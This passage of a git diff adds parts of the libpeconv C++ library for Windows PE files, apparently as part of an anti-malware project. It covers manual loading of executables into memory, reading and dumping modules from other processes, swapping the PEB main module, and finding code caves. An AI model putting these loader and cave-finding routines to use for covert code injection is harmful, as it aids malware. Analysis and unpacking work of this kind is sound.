WORD get_dll_characteristics(IN const BYTE* payload); + + /** + Set the PE subsystem in the header. + */ + bool set_subsystem(IN OUT BYTE* payload, IN WORD subsystem); + + /** + Get the PE subsystem from the header. + */ + WORD get_subsystem(IN const BYTE* payload); + + /** + Check if the PE has relocations Data Directory. + */ + bool has_relocations(IN const BYTE *pe_buffer); + + /** + Fetch the pointer to the .NET header (if exist). + */ + IMAGE_COR20_HEADER* get_dotnet_hdr( + IN const BYTE* pe_buffer, + IN size_t const buffer_size, + IN const IMAGE_DATA_DIRECTORY* dotNetDir + ); + + /** + Fetch section aligmenent from headers. Depending on the flag, it fetches either Raw Alignment or Virtual Alignment. + */ + DWORD get_sec_alignment(IN const BYTE* modulePtr, IN bool is_raw); + + /** + Change section aligmenent in headers. Depending on the flag, it sets either Raw Alignment or Virtual Alignment. + */ + bool set_sec_alignment(IN OUT BYTE* pe_buffer, IN bool is_raw, IN DWORD new_alignment); + + /** + Get size of virtual section from the headers (optionaly rounds it up to the Virtual Alignment) + */ + DWORD get_virtual_sec_size( + IN const BYTE* pe_hdr, + IN const PIMAGE_SECTION_HEADER sec_hdr, + IN bool rounded //if set, it rounds it up to the Virtual Alignment + ); + + /** + Get the last section (in a raw or virtual alignment) + \param pe_buffer : buffer with a PE + \param pe_size : size of the given PE + \param is_raw : If true, give the section with the highest Raw offset. If false, give the section with the highest Virtual offset. + */ + PIMAGE_SECTION_HEADER get_last_section(IN const PBYTE pe_buffer, IN size_t pe_size, IN bool is_raw); + + /** + Calculate full PE size (raw or virtual) using information from sections' headers. WARNING: it drops an overlay. + \param pe_buffer : a buffer containing a PE + \param pe_size : the size of the given buffer + \param is_raw : If true, the Raw alignment is used. If false, the Virtual alignment is used. + */ + DWORD calc_pe_size( + IN const PBYTE pe_buffer, + IN size_t pe_size, + IN bool is_raw + ); + + /** + Walk through sections headers checking if the sections beginnings and sizes are fitting the alignment (Virtual or Raw) + \param buffer : a buffer containing a PE + \param buffer_size : the size of the given buffer + \param is_raw : If true, the Raw alignment is checked. If false, the Virtual alignment is checked. + */ + bool is_valid_sectons_alignment(IN const BYTE* buffer, IN const SIZE_T buffer_size, IN bool is_raw); + +}; // namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_loader.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_loader.h new file mode 100644 index 0000000..bc9d5dc --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_loader.h @@ -0,0 +1,42 @@ +/** +* @file +* @brief Loading PE from a file with the help of the custom loader. +*/ + +#pragma once + +#include "pe_raw_to_virtual.h" +#include "function_resolver.h" + +namespace peconv { + /** + Reads PE from the given buffer into memory and maps it into vitual format. + (Automatic raw to virtual conversion). + If the executable flag is true, the PE file is loaded into executable memory. + If the relocate flag is true, applies relocations. Does not load imports. + Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer. + */ + BYTE* load_pe_module(BYTE* dllRawData, size_t r_size, OUT size_t &v_size, bool executable, bool relocate); + + /** + Reads PE from the given file into memory and maps it into vitual format. + (Automatic raw to virtual conversion). + If the executable flag is true, the PE file is loaded into executable memory. + If the relocate flag is true, applies relocations. Does not load imports. + Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer. + */ + BYTE* load_pe_module(const char *filename, OUT size_t &v_size, bool executable, bool relocate); + + /** + Loads full PE from the raw buffer in a way in which it can be directly executed: remaps to virual format, applies relocations, loads imports. + Allows for supplying custom function resolver. + */ + BYTE* load_pe_executable(BYTE* dllRawData, size_t r_size, OUT size_t &v_size, t_function_resolver* import_resolver=NULL); + + /** + Loads full PE from file in a way in which it can be directly executed: remaps to virual format, applies relocations, loads imports. + Allows for supplying custom function resolver. + */ + BYTE* load_pe_executable(const char *filename, OUT size_t &v_size, t_function_resolver* import_resolver=NULL); + +};// namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_mode_detector.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_mode_detector.h new file mode 100644 index 0000000..0cbaff7 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_mode_detector.h @@ -0,0 +1,46 @@ +/** +* @file +* @brief Detecting in which mode is the PE in the supplied buffer (i.e. raw, virtual). Analyzes PE features typical for particular modes. +*/ + +#pragma once + +#include + +#include "pe_hdrs_helper.h" + +namespace peconv { + + /** + check if the PE in the memory is in raw format + */ + bool is_pe_raw( + IN const BYTE* pe_buffer, + IN size_t pe_size + ); + + /** + check if Virtual section addresses are identical to Raw addresses (i.e. if the PE was realigned) + */ + bool is_pe_raw_eq_virtual( + IN const BYTE* pe_buffer, + IN size_t pe_size + ); + + /** + checks if the PE has sections that were unpacked/expanded in the memory + */ + bool is_pe_expanded( + IN const BYTE* pe_buffer, + IN size_t pe_size + ); + + /** + checks if the given section was unpacked in the memory + */ + bool is_section_expanded(IN const BYTE* pe_buffer, + IN size_t pe_size, + IN const PIMAGE_SECTION_HEADER sec + ); + +};// namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_raw_to_virtual.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_raw_to_virtual.h new file mode 100644 index 0000000..f351138 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_raw_to_virtual.h @@ -0,0 +1,30 @@ +/** +* @file +* @brief Converting PE from raw to virtual format. +*/ + +#pragma once + +#include +#include + +#include "buffer_util.h" + +namespace peconv { + + /** + Converts a raw PE supplied in a buffer to a virtual format. + If the executable flag is true (default), the PE file is loaded into executable memory. + Does not apply relocations. Does not load imports. + Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_module. + If the desired_base is defined (0 by default), it enforces allocation at the particular base. + */ + BYTE* pe_raw_to_virtual( + IN const BYTE* rawPeBuffer, + IN size_t rawPeSize, + OUT size_t &outputSize, + IN OPTIONAL bool executable = true, + IN OPTIONAL ULONGLONG desired_base = 0 + ); + +}; // namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_virtual_to_raw.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_virtual_to_raw.h new file mode 100644 index 0000000..fbecf3e --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_virtual_to_raw.h @@ -0,0 +1,47 @@ +/** +* @file +* @brief Converting PE from virtual to raw format. +*/ + +#pragma once + +#include + +#include "buffer_util.h" + +namespace peconv { + + /** + Maps virtual image of PE to into raw. Automaticaly applies relocations. + Automatically allocates buffer of the needed size (the size is returned in outputSize). + \param payload : the PE in the Virtual format that needs to be converted into the Raw format + \param in_size : size of the input buffer (the PE in the Virtual format) + \param loadBase : the base to which the given PE was relocated + \param outputSize : the size of the output buffer (the PE in the Raw format) + \param rebuffer : if set (default), the input buffer is rebuffered and the original buffer is not modified. + \return a buffer of the outputSize, containing the Raw PE. The buffer can be freed by the function free_pe_module. + */ + BYTE* pe_virtual_to_raw( + IN BYTE* payload, + IN size_t in_size, + IN ULONGLONG loadBase, + OUT size_t &outputSize, + IN OPTIONAL bool rebuffer=true + ); + + /* + Modifies raw alignment of the PE to be the same as virtual alignment. + \param payload : the PE in the Virtual format that needs to be realigned + \param in_size : size of the input buffer + \param loadBase : the base to which the given PE was relocated + \param outputSize : the size of the output buffer (the PE in the Raw format) + \return a buffer of the outputSize, containing the realigned PE. The buffer can be freed by the function free_pe_module. + */ + BYTE* pe_realign_raw_to_virtual( + IN const BYTE* payload, + IN size_t in_size, + IN ULONGLONG loadBase, + OUT size_t &outputSize + ); + +};//namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/peb_lookup.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/peb_lookup.h new file mode 100644 index 0000000..7a5112f --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/peb_lookup.h @@ -0,0 +1,40 @@ +/** +* @file +* @brief Functions for retrieving process information from PEB. +*/ + +#pragma once + +#include + +namespace peconv { + + /** + Gets handle to the given module via PEB. A low-level equivalent of `GetModuleHandleW`. + \param module_name : (optional) the name of the DLL loaded within the current process. If not set, the main module of the current process is used. + \return the handle of the DLL with given name, or, if the name was not given, the handle of the main module of the current process. + */ + HMODULE get_module_via_peb(IN OPTIONAL LPWSTR module_name = nullptr); + + + /** + Gets size of the given module via PEB. + \param hModule : (optional) the base of the module which's size we want to retrieve. If not set, the main module of the current process is used. + \return the size of the given module. + */ + size_t get_module_size_via_peb(IN OPTIONAL HMODULE hModule = nullptr); + + /** + Sets the given module as the main module in the current PEB. + \param hModule : the module to be connected to the current PEB. + \return true if succeeded, false if failed + */ + bool set_main_module_in_peb(HMODULE hModule); + + /** + Gets the main module from the current PEB. + \return the main module connected to the current PEB. + */ + HMODULE get_main_module_via_peb(); +}; + diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/relocate.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/relocate.h new file mode 100644 index 0000000..7a7a2af --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/relocate.h @@ -0,0 +1,51 @@ +/** +* @file +* @brief Operating on PE file's relocations table. +*/ + +#pragma once + +#include + +namespace peconv { + + typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; + WORD Type : 4; + } BASE_RELOCATION_ENTRY; + + class RelocBlockCallback + { + public: + RelocBlockCallback(bool _is64bit) + : is64bit(_is64bit) + { + } + + virtual bool processRelocField(ULONG_PTR relocField) = 0; + + protected: + bool is64bit; + }; + + // Processs the relocation table and make your own callback on each relocation field + bool process_relocation_table(IN PVOID modulePtr, IN SIZE_T moduleSize, IN RelocBlockCallback *callback); + + /** + Applies relocations on the PE in virtual format. Relocates it from the old base given to the new base given. + If 0 was supplied as the old base, it assumes that the old base is the ImageBase given in the header. + \param modulePtr : a buffer containing the PE to be relocated + \param moduleSize : the size of the given PE buffer + \param newBase : a base to which the PE should be relocated + \param oldBase : a base to which the PE is currently relocated (if not set, the imageBase from the header will be used) + */ + bool relocate_module(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ULONGLONG newBase, IN ULONGLONG oldBase = 0); + + /** + Checks if the given PE has a valid relocations table. + \param modulePtr : a buffer containing the PE to be checked + \param moduleSize : the size of the given PE buffer + */ + bool has_valid_relocation_table(IN const PBYTE modulePtr, IN const size_t moduleSize); + +};//namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/remote_pe_reader.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/remote_pe_reader.h new file mode 100644 index 0000000..127a519 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/remote_pe_reader.h @@ -0,0 +1,93 @@ +/** +* @file +* @brief Reading from a PE module that is loaded within a remote process. +*/ + +#pragma once + +#include + +#include "pe_hdrs_helper.h" +#include "pe_virtual_to_raw.h" +#include "exports_mapper.h" +#include "pe_dumper.h" + +namespace peconv { + + bool fetch_region_info(HANDLE processHandle, BYTE* start_addr, MEMORY_BASIC_INFORMATION &page_info); + + /** + Fetch size of the memory region starting from the given address. + */ + size_t fetch_region_size(HANDLE processHandle, BYTE* start_addr); + + /** + Fetch the allocation base of the memory region with the supplied start address. + \param processHandle : handle of the process where the region of interest belongs + \param start_addr : the address inside the region of interest + \return the allocation base address of the memory region, or 0 if not found + */ + ULONGLONG fetch_alloc_base(HANDLE processHandle, BYTE* start_addr); + + /** + Wrapper over ReadProcessMemory. Requires a handle with privilege PROCESS_VM_READ. + If reading full buffer_size was not possible, it will keep trying to read smaller chunk, + decreasing requested size by step_size in each iteration. Returns how many bytes were successfuly read. + It is a workaround for errors such as FAULTY_HARDWARE_CORRUPTED_PAGE. + */ + size_t read_remote_memory(HANDLE processHandle, BYTE *start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T step_size = 0x100); + + /** + Reads the full memory area of a given size within a given process, skipping inaccessible pages. + Requires a handle with privilege PROCESS_QUERY_INFORMATION. + step_size is passed to the underlying read_remote_memory. + */ + size_t read_remote_area(HANDLE processHandle, BYTE *start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T step_size = 0x100); + + /** + Reads a PE header of the remote module within the given process. Requires a valid output buffer to be supplied (buffer). + */ + bool read_remote_pe_header(HANDLE processHandle, BYTE *moduleBase, OUT BYTE* buffer, const size_t bufferSize); + + /** + Reads a PE section with a given number (sectionNum) from the remote module within the given process. + The buffer of appropriate size is automatically allocated. After use, it should be freed by the function free_unaligned. + The size of the buffer is writen into sectionSize. + \param processHandle : the handle to the remote process + \param moduleBase : the base address of the module + \param sectionNum : number of the section to be read + \param sectionSize : the size of the read section (output) + \param roundup : if set, the section size is roundup to the alignment unit + \return a buffer containing a copy of the section. + */ + peconv::UNALIGNED_BUF get_remote_pe_section(HANDLE processHandle, BYTE *moduleBase, const size_t sectionNum, OUT size_t §ionSize, bool roundup = false); + + /** + Reads PE file from the remote process into the supplied buffer. It expects the module base and size to be given. + */ + size_t read_remote_pe(const HANDLE processHandle, BYTE *moduleBase, const size_t moduleSize, OUT BYTE* buffer, const size_t bufferSize); + + /** + Dumps PE from the remote process into a file. It expects the module base and size to be given. + \param outputFilePath : the path where the dump will be saved + \param processHandle : the handle to the remote process + \param moduleBase : the base address of the module that needs to be dumped + \param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one. + \param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions. + */ + bool dump_remote_pe( + IN const char *outputFilePath, + IN const HANDLE processHandle, + IN BYTE *moduleBase, + IN OUT t_pe_dump_mode &dump_mode, + IN OPTIONAL peconv::ExportsMapper* exportsMap = nullptr + ); + + /** + Retrieve the Image Size saved in the header of the remote PE. + \param processHandle : process from where we are reading + \param start_addr : a base address of the PE within the given process + */ + DWORD get_remote_image_size(IN const HANDLE processHandle, IN BYTE *start_addr); + +}; //namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_parser.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_parser.h new file mode 100644 index 0000000..d9d85d1 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_parser.h @@ -0,0 +1,25 @@ +/** +* @file +* @brief Parsing PE's resource directory. +*/ + +#pragma once +#include + +namespace peconv { + /** + A callback that will be executed by the function parse_resources when the Resource Entry was found. + */ + typedef bool(*t_on_res_entry_found) ( + BYTE* modulePtr, + IMAGE_RESOURCE_DIRECTORY_ENTRY *root_dir, + IMAGE_RESOURCE_DATA_ENTRY *curr_entry + ); + + /** + A function walking through the Resource Tree of the given PE. On each Resource Entry found, the callback is executed. + \param modulePtr : pointer to the buffer with the PE in a Virtual format + \param on_entry : a callback function executed on each Resource Entry + */ + bool parse_resources(BYTE* modulePtr, t_on_res_entry_found on_entry); +}; diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_util.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_util.h new file mode 100644 index 0000000..8b02fd5 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_util.h @@ -0,0 +1,34 @@ +/** +* @file +* @brief Functions related to manual retrieving of PE resources. +*/ + +#pragma once + +#include +#include "buffer_util.h" + +namespace peconv { + + const LPSTR RT_RCDATA_A = MAKEINTRESOURCEA(10); + + /** + Maps a resource with the given id + type and copies its raw content into the output buffer. + If out_size is not zero, it reads maximum out_size of bytes. If out_size is zero, it reads the full resource. + The actual read size is returned back in out_size. + Automatically allocates a buffer of the required size. + If hInstance is NULL, it search the resource in the current module. Otherwise, it search in the given module. + */ + peconv::ALIGNED_BUF load_resource_data(OUT size_t &out_size, const int res_id, const LPSTR res_type = RT_RCDATA_A, HMODULE hInstance = nullptr); + + /** + Free the buffer with PE Resources, mapped by the function load_resource_data. + */ + void free_resource_data(peconv::ALIGNED_BUF buffer); + + /** + a helper function to get the module handle of the current DLL + */ + HMODULE get_current_module_handle(); + +}; //namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/util.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/util.h new file mode 100644 index 0000000..f5679d3 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/util.h @@ -0,0 +1,25 @@ +/** +* @file +* @brief Miscellaneous utility functions. +*/ + +#pragma once + +#include "file_util.h" +#include "resource_util.h" + +namespace peconv { + /** + Checks if the given buffer is fully filled with the specified character. + \param cave_ptr : pointer to the buffer to be checked + \param cave_size : size of the buffer to be checked + \param padding_char : the required character + */ + bool is_padding(const BYTE *cave_ptr, size_t cave_size, const BYTE padding_char); + + /** + Wrapper for GetProcessId - for a backward compatibility with old versions of Windows + */ + DWORD get_process_id(HANDLE hProcess); +}; + diff --git a/ai_anti_malware/libpeconv/libpeconv/src/buffer_util.cpp b/ai_anti_malware/libpeconv/libpeconv/src/buffer_util.cpp new file mode 100644 index 0000000..d0596c6 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/buffer_util.cpp @@ -0,0 +1,87 @@ +#include "peconv/buffer_util.h" + +#include + +// +// validate pointer: +// + +bool peconv::validate_ptr(IN const void* buffer_bgn, IN SIZE_T buffer_size, IN const void* field_bgn, IN SIZE_T field_size) +{ + if (buffer_bgn == nullptr || field_bgn == nullptr) { + return false; + } + BYTE* _start = (BYTE*)buffer_bgn; + BYTE* _end = _start + buffer_size; + + BYTE* _field_start = (BYTE*)field_bgn; + BYTE* _field_end = (BYTE*)field_bgn + field_size; + + if (_field_start < _start) { + return false; + } + if (_field_end > _end) { + return false; + } + return true; +} + +//----------------------------------------------------------------------------------- +// +// alloc/free unaligned buffers: +// + +//allocates a buffer that does not have to start from the beginning of the section +peconv::UNALIGNED_BUF peconv::alloc_unaligned(size_t buf_size) +{ + if (!buf_size) return NULL; + + UNALIGNED_BUF buf = (UNALIGNED_BUF) calloc(buf_size, sizeof(BYTE)); + return buf; +} + +void peconv::free_unaligned(peconv::UNALIGNED_BUF section_buffer) +{ + free(section_buffer); +} + +// +// alloc/free aligned buffers: +// + +peconv::ALIGNED_BUF peconv::alloc_aligned(size_t buffer_size, DWORD protect, ULONGLONG desired_base, bool is_x64) +{ + if (!buffer_size) return NULL; + ALIGNED_BUF buf = (ALIGNED_BUF)VirtualAlloc((LPVOID)desired_base, buffer_size, MEM_COMMIT | MEM_RESERVE, protect); + return buf; +} + +bool peconv::free_aligned(peconv::ALIGNED_BUF buffer, size_t buffer_size) +{ + if (buffer == nullptr) return true; + if (!VirtualFree(buffer, 0, MEM_RELEASE)) { +#ifdef _DEBUG + std::cerr << "Releasing failed" << std::endl; +#endif + return false; + } + return true; +} + +//----------------------------------------------------------------------------------- +// +// wrappers using appropriate buffer type according to the purpose: +// + +// allocate a buffer for PE module: +peconv::ALIGNED_BUF peconv::alloc_pe_buffer(size_t buffer_size, DWORD protect, ULONGLONG desired_base) +{ + return alloc_aligned(buffer_size, protect, desired_base); +} + +// Free loaded PE module +bool peconv::free_pe_buffer(peconv::ALIGNED_BUF buffer, size_t buffer_size) +{ + return peconv::free_aligned(buffer, buffer_size); +} + diff --git a/ai_anti_malware/libpeconv/libpeconv/src/caves.cpp b/ai_anti_malware/libpeconv/libpeconv/src/caves.cpp new file mode 100644 index 0000000..07c69d0 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/caves.cpp @@ -0,0 +1,139 @@ +#include "peconv/caves.h" +#include "peconv/pe_hdrs_helper.h" +#include "peconv/util.h" + +using namespace peconv; + +#ifdef _DEBUG +#include +#endif + +PBYTE peconv::find_ending_cave(BYTE*modulePtr, size_t moduleSize, const DWORD minimal_size, const DWORD req_charact) +{ + size_t sec_count = peconv::get_sections_count(modulePtr, moduleSize); + if (sec_count == 0) return nullptr; + + size_t last_sec = sec_count - 1; + PIMAGE_SECTION_HEADER section_hdr = peconv::get_section_hdr(modulePtr, moduleSize, last_sec); + if (section_hdr == nullptr) return nullptr; + if (!(section_hdr->Characteristics & req_charact)) return nullptr; + + DWORD raw_size = section_hdr->SizeOfRawData; + DWORD virtual_size = (DWORD)moduleSize - section_hdr->VirtualAddress; + + if (raw_size >= virtual_size) { +#ifdef _DEBUG + std::cout << "Last section's raw_size: " << std::hex << raw_size << " >= virtual_size: " << virtual_size << std::endl; +#endif + return nullptr; + } + DWORD cave_size = virtual_size - raw_size; + if (cave_size < minimal_size) { +#ifdef _DEBUG + std::cout << "Cave is too small" << std::endl; +#endif + return nullptr; + } + PBYTE cave_ptr = modulePtr + section_hdr->VirtualAddress + section_hdr->SizeOfRawData; + if (!validate_ptr(modulePtr, moduleSize, cave_ptr, minimal_size)) { +#ifdef _DEBUG + std::cout << "Invalid cave pointer" << std::endl; +#endif + return nullptr; + } + section_hdr->SizeOfRawData += minimal_size; //book this cave + return cave_ptr; +} + +PBYTE peconv::find_alignment_cave(BYTE* modulePtr, size_t moduleSize, const DWORD minimal_size, const DWORD req_charact) +{ + DWORD alignment = peconv::get_sec_alignment(modulePtr, true); + if (alignment == 0) return nullptr; + + size_t sec_count = peconv::get_sections_count(modulePtr, moduleSize); + for (size_t i = 0; i < sec_count; i++) { + PIMAGE_SECTION_HEADER section_hdr = peconv::get_section_hdr(modulePtr, moduleSize, i); + if (section_hdr == nullptr) continue; + if (!(section_hdr->Characteristics & req_charact)) continue; + + DWORD rem = section_hdr->SizeOfRawData % alignment; + if (rem == 0) continue; + + DWORD div = (section_hdr->SizeOfRawData / alignment) + 1; + DWORD new_size = div * alignment; + DWORD cave_size = new_size - section_hdr->SizeOfRawData; + if (cave_size < minimal_size) { +#ifdef __DEBUG + std::cout << "Cave is too small" << std::endl; +#endif + continue; + } + DWORD sec_start = section_hdr->PointerToRawData; + if (sec_start == 0) continue; + + DWORD sec_end = sec_start + section_hdr->SizeOfRawData; +#ifdef _DEBUG + std::cout << "section: " << std::hex << sec_start << " : " << sec_end << std::endl; +#endif + PBYTE cave_ptr = modulePtr + sec_end; + if (!validate_ptr(modulePtr, moduleSize, cave_ptr, minimal_size)) { +#ifdef _DEBUG + std::cout << "Invalid cave pointer" << std::endl; +#endif + continue; + } + section_hdr->SizeOfRawData += minimal_size; //book this cave + return cave_ptr; + } +#ifdef _DEBUG + std::cout << "Cave not found" << std::endl; +#endif + return nullptr; +} + +PBYTE peconv::find_padding_cave(BYTE* modulePtr, size_t moduleSize, const size_t minimal_size, const DWORD req_charact) +{ + size_t sec_count = peconv::get_sections_count(modulePtr, moduleSize); + for (size_t i = 0; i < sec_count; i++) { + PIMAGE_SECTION_HEADER section_hdr = peconv::get_section_hdr(modulePtr, moduleSize, i); + if (section_hdr == nullptr) continue; + if (!(section_hdr->Characteristics & req_charact)) continue; + + if (section_hdr->SizeOfRawData < minimal_size) continue; + + // we will be searching in the loaded, virtual image: + DWORD sec_start = section_hdr->VirtualAddress; + if (sec_start == 0) continue; + + DWORD sec_end = sec_start + section_hdr->SizeOfRawData; +#ifdef _DEBUG + std::cout << "section: " << std::hex << sec_start << " : " << sec_end << std::endl; +#endif + //offset from the end of the section: + size_t cave_offset = section_hdr->SizeOfRawData - minimal_size; + PBYTE cave_ptr = modulePtr + sec_start + cave_offset; + if (!validate_ptr(modulePtr, moduleSize, cave_ptr, minimal_size)) { +#ifdef _DEBUG + std::cout << "Invalid cave pointer" << std::endl; +#endif + continue; + } + bool found = false; + if (is_padding(cave_ptr, minimal_size, 0)) { + found = true; + } + //if the section is code, check also code padding: + if (section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { + if (is_padding(cave_ptr, minimal_size, 0xCC)) { + found = true; + } + } + if (found) { + return cave_ptr; + } + } +#ifdef _DEBUG + std::cout << "Cave not found" << std::endl; +#endif + return nullptr; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/delayed_imports_loader.cpp b/ai_anti_malware/libpeconv/libpeconv/src/delayed_imports_loader.cpp new file mode 100644 index 0000000..36b5eba --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/delayed_imports_loader.cpp @@ -0,0 +1,200 @@ +#include "peconv/delayed_imports_loader.h" +#include "peconv/imports_loader.h" + +#include + +IMAGE_DELAYLOAD_DESCRIPTOR* peconv::get_delayed_imps(IN const BYTE* modulePtr, IN const size_t moduleSize, OUT size_t &dir_size) +{ + dir_size = 0; + IMAGE_DATA_DIRECTORY *d_imps_dir = peconv::get_directory_entry(modulePtr, IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT); + if (!d_imps_dir) { + return nullptr; + } + BYTE* dimps_table = (BYTE*)((ULONGLONG) modulePtr + d_imps_dir->VirtualAddress); + const size_t min_size = sizeof(IMAGE_DELAYLOAD_DESCRIPTOR); + if (d_imps_dir->Size < min_size) { + return nullptr; + } + if (!peconv::validate_ptr((LPVOID)modulePtr, moduleSize, dimps_table, min_size)) { + return nullptr; + } + dir_size = d_imps_dir->Size; + return reinterpret_cast (dimps_table); +} + +template +bool parse_delayed_desc(BYTE* modulePtr, const size_t moduleSize, + const ULONGLONG img_base, + LPSTR lib_name, + const T_FIELD ordinal_flag, + IMAGE_DELAYLOAD_DESCRIPTOR *desc, + peconv::t_function_resolver* func_resolver +) +{ + ULONGLONG iat_addr = desc->ImportAddressTableRVA; + + if (iat_addr > img_base) iat_addr -= img_base; // it may be either RVA or VA + + ULONGLONG thunk_addr = desc->ImportNameTableRVA; + if (thunk_addr > img_base) thunk_addr -= img_base; // it may be either RVA or VA + + T_FIELD* record_va = (T_FIELD*)((ULONGLONG)modulePtr + iat_addr); + T_IMAGE_THUNK_DATA* thunk_va = (T_IMAGE_THUNK_DATA*)((ULONGLONG)modulePtr + thunk_addr); + + for (; *record_va != NULL && thunk_va != NULL; record_va++, thunk_va++) { + if (!peconv::validate_ptr(modulePtr, moduleSize, record_va, sizeof(T_FIELD))) { + return false; + } + if (!peconv::validate_ptr(modulePtr, moduleSize, thunk_va, sizeof(T_FIELD))) { + return false; + } + + T_FIELD iat_va = *record_va; + ULONGLONG iat_rva = (ULONGLONG)iat_va; + if (iat_va > img_base) iat_rva -= img_base; // it may be either RVA or VA +#ifdef _DEBUG + std::cout << std::hex << iat_rva << " : "; +#endif + T_FIELD* iat_record_ptr = (T_FIELD*)((ULONGLONG)modulePtr + iat_rva); + if (!peconv::validate_ptr(modulePtr, moduleSize, iat_record_ptr, sizeof(T_FIELD))) { + return false; + } + FARPROC hProc = nullptr; + if (thunk_va->u1.Ordinal & ordinal_flag) { + T_FIELD raw_ordinal = thunk_va->u1.Ordinal & (~ordinal_flag); +#ifdef _DEBUG + std::cout << std::hex << "ord: " << raw_ordinal << " "; +#endif + hProc = func_resolver->resolve_func(lib_name, MAKEINTRESOURCEA(raw_ordinal)); + } + else { + ULONGLONG name_rva = thunk_va->u1.AddressOfData; + if (name_rva > img_base) { + name_rva -= img_base; + } + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((ULONGLONG)modulePtr + name_rva); + LPSTR func_name = reinterpret_cast(by_name->Name); + if (!peconv::is_valid_import_name(modulePtr, moduleSize, func_name)) { + continue; + } +#ifdef _DEBUG + std::cout << func_name << " "; +#endif + hProc = func_resolver->resolve_func(lib_name, func_name); + } + if (hProc) { + //rather than loading it via proxy function, we just overwrite the thunk like normal IAT: + *record_va = (T_FIELD) hProc; +#ifdef _DEBUG + std::cout << "[OK]\n"; +#endif + } + else { +#ifdef _DEBUG + std::cout << "[NOPE]\n"; +#endif + } + } + return true; +} +bool peconv::load_delayed_imports(BYTE* modulePtr, ULONGLONG moduleBase, t_function_resolver* func_resolver) +{ + const bool is_64bit = peconv::is64bit(modulePtr); + const size_t module_size = peconv::get_image_size(modulePtr); + default_func_resolver default_res; + if (!func_resolver) { + func_resolver = (t_function_resolver*)&default_res; + } + size_t table_size = 0; + IMAGE_DELAYLOAD_DESCRIPTOR* first_desc = get_delayed_imps(modulePtr, module_size, table_size); + if (!first_desc) { + return false; + } +#ifdef _DEBUG + std::cout << "OK, table_size = " << table_size << std::endl; +#endif + size_t max_count = table_size / sizeof(IMAGE_DELAYLOAD_DESCRIPTOR); + for (size_t i = 0; i < max_count; i++) { + IMAGE_DELAYLOAD_DESCRIPTOR* desc = &first_desc[i]; + if (!validate_ptr(modulePtr, module_size, desc, sizeof(IMAGE_DELAYLOAD_DESCRIPTOR))) break; + if (desc->DllNameRVA == NULL) { + break; + } + ULONGLONG dll_name_rva = desc->DllNameRVA; + if (dll_name_rva > moduleBase) { + dll_name_rva -= moduleBase; + } + char* dll_name = (char*)((ULONGLONG)modulePtr + dll_name_rva); + if (!validate_ptr(modulePtr, module_size, dll_name, sizeof(char))) continue; +#ifdef _DEBUG + std::cout << dll_name << std::endl; +#endif + if (is_64bit) { + return parse_delayed_desc(modulePtr, module_size, moduleBase, dll_name, IMAGE_ORDINAL_FLAG64, desc, func_resolver); + } + else { + return parse_delayed_desc(modulePtr, module_size, moduleBase, dll_name, IMAGE_ORDINAL_FLAG32, desc, func_resolver); + } + } + return true; +} +/* +bool peconv::load_delayed_imports(BYTE* modulePtr, ULONGLONG moduleBase, t_function_resolver* func_resolver) +{ + const bool is_64bit = peconv::is64bit(modulePtr); + bool is_loader64 = false; +#ifdef _WIN64 + is_loader64 = true; +#endif + if (is_64bit != is_loader64) { + std::cerr << "[ERROR] Loader/Payload bitness mismatch.\n"; + return false; + } + + const size_t module_size = peconv::get_image_size(modulePtr); + default_func_resolver default_res; + if (!func_resolver) { + func_resolver = (t_function_resolver*)&default_res; + } + size_t table_size = 0; + 